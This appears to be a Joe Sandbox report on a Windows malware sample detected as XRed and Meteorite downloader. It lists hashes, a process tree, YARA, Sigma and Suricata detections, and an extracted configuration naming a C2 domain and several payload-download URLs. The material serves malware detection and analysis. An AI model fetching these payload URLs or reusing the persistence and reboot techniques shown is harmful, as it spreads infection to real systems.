Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1583469
MD5:	06303600a3a44eb2fbce248eb0fe9fc1
SHA1:	ccfb720a50808469da5d67eea306d08f51e11538
SHA256:	db69f19879e131fd35e882606148335c6dcb26cbea650d394ba519d76c57bb85
Tags:	exeuser-jstrosch
Infos:

Detection

XRed

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected XRed

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with functions possibly related to HTTP operations

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Drops PE files to the document folder of the user

Drops executables to the windows directory (C:\Windows) and starts them

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Uses dynamic DNS services

Uses shutdown.exe to shutdown or reboot the system

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to retrieve information about pressed keystrokes

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the program root directory (C:\Program Files)

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

File is packed with WinRar

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May infect USB drives

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries the installation date of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Execution of Shutdown

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 4452 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 06303600A3A44EB2FBCE248EB0FE9FC1)

1.exe (PID: 6744 cmdline: "C:\Program Files (x86)\1.exe" 0 MD5: D026CFE00B08DA14B0A8B7F8860887D7)

._cache_1.exe (PID: 2384 cmdline: "C:\Users\user\Desktop\._cache_1.exe" 0 MD5: AED710082D6986C6DCEED09D3A5EDCC6)

Synaptics.exe (PID: 5500 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate MD5: 00367A9FAA8069389A97267D772563E8)

WerFault.exe (PID: 11244 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5500 -s 33616 MD5: C31336C1EFC2CCB44B4326EA793040F2)

2.exe (PID: 5596 cmdline: "C:\Program Files (x86)\2.exe" 0 MD5: 85A57509DB3E9DFA7B4E451B8243220D)

._cache_2.exe (PID: 6080 cmdline: "C:\Users\user\Desktop\._cache_2.exe" 0 MD5: B7176450AEBB9572B34E875984456AC1)

3.exe (PID: 6364 cmdline: "C:\Program Files (x86)\3.exe" 0 MD5: 1EDB88F9EE745EAAEE2CBD8219318EB0)

4.exe (PID: 5432 cmdline: "C:\Program Files (x86)\4.exe" 0 MD5: 39E7BE73C7531AC895F75834FDC1BCD6)

wic.exe (PID: 7340 cmdline: "C:\Windows\wic.exe" 0 MD5: 6AD65B03E75BC5509BA3104510178EE6)

cmd.exe (PID: 7648 cmdline: C:\Windows\system32\cmd.exe /c "shutdown /r /t 0" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

shutdown.exe (PID: 7712 cmdline: shutdown /r /t 0 MD5: FCDE5AF99B82AE6137FB90C7571D40C3)

EXCEL.EXE (PID: 6368 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

splwow64.exe (PID: 64 cmdline: C:\Windows\splwow64.exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73)

cbas.exe (PID: 3796 cmdline: "C:\Windows\cbas.exe" MD5: 9FD7C0ACC95C7F1311BDE279D0B6A03A)

cleanup

Malware Configuration

Threatname: XRed

{"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
file.exe	MALWARE_Win_Meteorite	Detects Meteorite downloader	ditekSHen	0x17b4:$x2: Meteorite Downloader

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_XRed	Yara detected XRed	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\6QWwVh6L.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\AppData\Local\Temp\6QWwVh6L.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Program Files (x86)\1.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Program Files (x86)\1.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\1[1].exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\1[1].exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\ProgramData\Synaptics\RCXE7D7.tmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\RCXE7D7.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Temp\RCXF081.tmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\AppData\Local\Temp\RCXF081.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Temp\RCXF081.tmp	MALWARE_Win_Meteorite	Detects Meteorite downloader	ditekSHen	0xb4dc8:$x2: Meteorite Downloader
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp	MALWARE_Win_Meteorite	Detects Meteorite downloader	ditekSHen	0xb4dc8:$x2: Meteorite Downloader
C:\Program Files (x86)\2.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Program Files (x86)\2.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\2[1].exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\2[1].exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 17 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000000.1483692540.0000000000401000.00000020.00000001.01000000.00000007.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
00000003.00000000.1483692540.0000000000401000.00000020.00000001.01000000.00000007.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
00000005.00000003.1514402089.0000000002124000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_Meteorite	Detects Meteorite downloader	ditekSHen	0x17b4:$x2: Meteorite Downloader
00000000.00000003.1493293372.00000000007F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: file.exe PID: 4452	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: 1.exe PID: 6744	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: Synaptics.exe PID: 5500	JoeSecurity_XRed	Yara detected XRed	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.file.exe.400000.0.unpack	MALWARE_Win_Meteorite	Detects Meteorite downloader	ditekSHen	0x73b4:$x2: Meteorite Downloader
5.3.Synaptics.exe.2124000.1.unpack	MALWARE_Win_Meteorite	Detects Meteorite downloader	ditekSHen	0x17b4:$x2: Meteorite Downloader
5.3.Synaptics.exe.6dfe20.0.raw.unpack	MALWARE_Win_Meteorite	Detects Meteorite downloader	ditekSHen	0x17b4:$x2: Meteorite Downloader
5.3.Synaptics.exe.2124000.1.raw.unpack	MALWARE_Win_Meteorite	Detects Meteorite downloader	ditekSHen	0x17b4:$x2: Meteorite Downloader
5.3.Synaptics.exe.6dfe20.0.unpack	MALWARE_Win_Meteorite	Detects Meteorite downloader	ditekSHen	0x17b4:$x2: Meteorite Downloader
0.2.file.exe.400000.0.unpack	MALWARE_Win_Meteorite	Detects Meteorite downloader	ditekSHen	0x10a8:$x1: MeteoriteDownloader 0x11b7:$x1: MeteoriteDownloader 0x1600:$x1: MeteoriteDownloader 0x11a1:$x2: Meteorite Downloader 0x1618:$x2: Meteorite Downloader 0x73b4:$x2: Meteorite Downloader 0x1618:$x3: Meteorite Downloader v 0x1b08:$s1: regwrite 0x1654:$s2: urlmon 0x1a80:$s3: wscript.shell 0x15f8:$s4: modMain 0x19dc:$s5: VBA6.DLL
5.3.Synaptics.exe.6d63f8.3.raw.unpack	MALWARE_Win_Meteorite	Detects Meteorite downloader	ditekSHen	0x17b4:$x2: Meteorite Downloader
5.3.Synaptics.exe.6d63f8.2.raw.unpack	MALWARE_Win_Meteorite	Detects Meteorite downloader	ditekSHen	0x17b4:$x2: Meteorite Downloader
3.0.1.exe.400000.0.unpack	JoeSecurity_XRed	Yara detected XRed	Joe Security
3.0.1.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: C:\Windows\system32\cmd.exe /c "shutdown /r /t 0", CommandLine: C:\Windows\system32\cmd.exe /c "shutdown /r /t 0", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\wic.exe" 0, ParentImage: C:\Windows\wic.exe, ParentProcessId: 7340, ParentProcessName: wic.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "shutdown /r /t 0", ProcessId: 7648, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Program Files (x86)\4.exe, ProcessId: 5432, TargetFilename: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Sigma detected: Suspicious Execution of Shutdown

Source: Process started

Author: frack113: Data: Command: shutdown /r /t 0, CommandLine: shutdown /r /t 0, CommandLine|base64offset|contains: v', Image: C:\Windows\SysWOW64\shutdown.exe, NewProcessName: C:\Windows\SysWOW64\shutdown.exe, OriginalFileName: C:\Windows\SysWOW64\shutdown.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "shutdown /r /t 0", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7648, ParentProcessName: cmd.exe, ProcessCommandLine: shutdown /r /t 0, ProcessId: 7712, ProcessName: shutdown.exe

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\Synaptics\Synaptics.exe, EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\1.exe, ProcessId: 6744, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\ProgramData\Synaptics\Synaptics.exe, ProcessId: 5500, TargetFilename: C:\Users\user\AppData\Local\Temp\EM5YRGNl.xlsm

Suricata Signatures

ET MALWARE Possible Dridex Download URI Struct with no referer

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:20:00.022678+0100	2021245	1	A Network Trojan was detected	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:01.350927+0100	2021245	1	A Network Trojan was detected	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:06.349251+0100	2021245	1	A Network Trojan was detected	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:06.912369+0100	2021245	1	A Network Trojan was detected	192.168.2.8	49704	47.254.187.72	80	TCP

ET MALWARE Possible Malicious Macro DL EXE Feb 2016

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:20:00.022678+0100	2022550	1	A Network Trojan was detected	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:01.350927+0100	2022550	1	A Network Trojan was detected	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:06.349251+0100	2022550	1	A Network Trojan was detected	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:06.912369+0100	2022550	1	A Network Trojan was detected	192.168.2.8	49704	47.254.187.72	80	TCP

ET MALWARE Single char EXE direct download likely trojan (multiple families)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:20:00.022678+0100	2018581	1	A Network Trojan was detected	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:01.350927+0100	2018581	1	A Network Trojan was detected	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:06.349251+0100	2018581	1	A Network Trojan was detected	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:06.912369+0100	2018581	1	A Network Trojan was detected	192.168.2.8	49704	47.254.187.72	80	TCP

ET MALWARE Snake Keylogger Payload Request (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:20:12.799717+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49711	142.250.185.142	443	TCP
2025-01-02T20:20:12.805199+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49710	142.250.185.142	443	TCP
2025-01-02T20:20:13.903435+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49716	142.250.185.142	443	TCP
2025-01-02T20:20:13.927653+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49717	142.250.185.142	443	TCP
2025-01-02T20:20:15.031345+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49724	142.250.185.142	443	TCP
2025-01-02T20:20:15.042172+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49726	142.250.185.142	443	TCP
2025-01-02T20:20:16.373580+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49729	142.250.185.142	443	TCP
2025-01-02T20:20:16.373656+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49730	142.250.185.142	443	TCP
2025-01-02T20:20:17.462542+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49737	142.250.185.142	443	TCP
2025-01-02T20:20:17.583614+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49736	142.250.185.142	443	TCP
2025-01-02T20:20:18.513226+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49744	142.250.185.142	443	TCP
2025-01-02T20:20:18.685960+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49745	142.250.185.142	443	TCP
2025-01-02T20:20:19.544520+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49749	142.250.185.142	443	TCP
2025-01-02T20:20:19.693333+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49750	142.250.185.142	443	TCP
2025-01-02T20:20:20.435211+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49755	142.250.185.142	443	TCP
2025-01-02T20:20:20.741846+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49756	142.250.185.142	443	TCP
2025-01-02T20:20:21.473352+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49761	142.250.185.142	443	TCP
2025-01-02T20:20:21.774042+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49763	142.250.185.142	443	TCP
2025-01-02T20:20:22.527285+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49765	142.250.185.142	443	TCP
2025-01-02T20:20:22.798981+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49766	142.250.185.142	443	TCP
2025-01-02T20:20:23.548979+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49769	142.250.185.142	443	TCP
2025-01-02T20:20:23.837696+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49771	142.250.185.142	443	TCP
2025-01-02T20:20:24.499207+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49775	142.250.185.142	443	TCP
2025-01-02T20:20:25.555894+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49779	142.250.185.142	443	TCP
2025-01-02T20:20:25.578652+0100	2044887	1	A Network Trojan was detected	192.168.2.8	49780	142.250.185.142	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:20:07.963064+0100	2019714	2	Potentially Bad Traffic	192.168.2.8	49704	47.254.187.72	80	TCP

ETPRO EXPLOIT Microsoft Windows Shell Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:19:53.308506+0100	2800781	1	Attempted User Privilege Gain	47.254.187.72	80	192.168.2.8	49712	TCP

ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:20:00.940785+0100	2800029	1	Attempted User Privilege Gain	47.254.187.72	80	192.168.2.8	49704	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:20:12.517435+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49712	47.254.187.72	80	TCP
2025-01-02T20:20:13.302985+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49712	47.254.187.72	80	TCP
2025-01-02T20:20:14.094317+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49712	47.254.187.72	80	TCP

ETPRO MALWARE W32.Bloat-A Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:20:13.134290+0100	2832617	1	Malware Command and Control Activity Detected	192.168.2.8	49715	69.42.215.252	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://xred.site50.net/syn/SSLLibrary.dlh

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\clxa.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\6QWwVh6L.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\AppData\Local\Temp\6QWwVh6L.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Program Files (x86)\2.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Program Files (x86)\2.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\cbas[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1317762
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\3[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\1[1].exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\1[1].exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Windows\cbas.exe	Avira: detection malicious, Label: HEUR/AGEN.1317762
Source: C:\Users\user\AppData\Local\Temp\RCXF081.tmp	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\AppData\Local\Temp\RCXF081.tmp	Avira: detection malicious, Label: TR/VB.Downloader.Gen
Source: C:\Users\user\AppData\Local\Temp\RCXF081.tmp	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\ProgramData\Synaptics\RCXE7D7.tmp	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\RCXE7D7.tmp	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Program Files (x86)\1.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Program Files (x86)\1.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Program Files (x86)\3.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bykcxw.exe	Avira: detection malicious, Label: HEUR/AGEN.1315939
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\2[1].exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\2[1].exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp	Avira: detection malicious, Label: TR/VB.Downloader.Gen
Source: C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006

Found malware configuration

Source: 3.0.1.exe.400000.0.unpack

Malware Configuration Extractor: XRed {"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\1.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\2.exe	ReversingLabs: Detection: 89%
Source: C:\Program Files (x86)\3.exe	ReversingLabs: Detection: 86%
Source: C:\Program Files (x86)\4.exe	ReversingLabs: Detection: 68%
Source: C:\ProgramData\Synaptics\RCXE7D7.tmp	ReversingLabs: Detection: 100%
Source: C:\ProgramData\Synaptics\Synaptics.exe	ReversingLabs: Detection: 100%
Source: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bykcxw.exe	ReversingLabs: Detection: 91%
Source: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cghqi.exe	ReversingLabs: Detection: 71%
Source: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\clxa.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\1[1].exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\4[1].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\2[1].exe	ReversingLabs: Detection: 89%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\wic[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\3[1].exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\cbas[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\6QWwVh6L.exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp	ReversingLabs: Detection: 92%
Source: C:\Users\user\Desktop\._cache_1.exe	ReversingLabs: Detection: 21%
Source: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	ReversingLabs: Detection: 100%
Source: C:\Windows\cbas.exe	ReversingLabs: Detection: 47%
Source: C:\Windows\wic.exe	ReversingLabs: Detection: 39%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 86%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 89.0% probability

Machine Learning detection for dropped file

Source: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\clxa.exe	Joe Sandbox ML: detected
